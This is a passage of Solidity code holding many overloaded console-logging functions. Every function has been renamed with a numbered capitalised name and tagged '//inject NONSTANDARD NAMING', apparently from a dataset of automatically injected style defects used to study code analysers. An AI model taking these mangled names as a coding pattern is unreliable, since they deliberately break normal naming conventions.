p2)); } function LOG714(bool p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function LOG714(bool p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function LOG714(bool p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function LOG714(bool p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function LOG714(bool p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function LOG714(bool p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function LOG714(bool p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function LOG714(bool p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function LOG714(bool p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function LOG714(bool p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function LOG714(bool p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function LOG714(bool p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function LOG714(bool p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function LOG714(bool p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function LOG714(bool p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function LOG714(address p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function LOG714(address p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function LOG714(address p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function LOG714(address p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function LOG714(address p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function LOG714(address p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function LOG714(address p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function LOG714(address p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function LOG714(address p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function LOG714(address p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function LOG714(address p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function LOG714(address p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function LOG714(address p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function LOG714(address p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function LOG714(address p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function LOG714(address p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function LOG714(uint p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING 